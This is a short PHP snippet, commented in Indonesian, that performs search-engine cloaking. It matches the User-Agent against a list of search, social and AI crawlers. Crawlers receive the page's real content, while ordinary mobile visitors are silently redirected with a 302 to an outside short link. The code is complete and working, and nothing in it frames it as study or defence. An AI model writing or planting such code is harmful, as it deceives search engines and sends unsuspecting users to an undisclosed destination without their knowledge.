<?php
$ua     = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET';

$isBot = (bool) preg_match('/googlebot|googlebot-image|googlebot-news|googleother|google-inspectiontool|apis-google|storebot-google|google-read-aloud|feedfetcher-google|chrome-lighthouse|lighthouse|adsbot|mediapartners|bingbot|bingpreview|slurp|duckduckbot|baiduspider|yandexbot|facebot|facebookexternalhit|twitterbot|linkedinbot|pinterest|applebot|semrushbot|ahrefsbot|mj12bot|dotbot|petalbot|bytespider|gptbot|ccbot|perplexitybot|amazonbot/i', $ua);
$isMobile = (bool) preg_match('/Mobile|Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i', $ua);

/* bot -> skip (dapat konten asli di bawah). mobile (non-bot) -> redirect. */
if ($method === 'GET' && !$isBot && $isMobile) {
    header('Location: https://pendek.ink/rajabuaya', true, 302);
    exit;
}
?>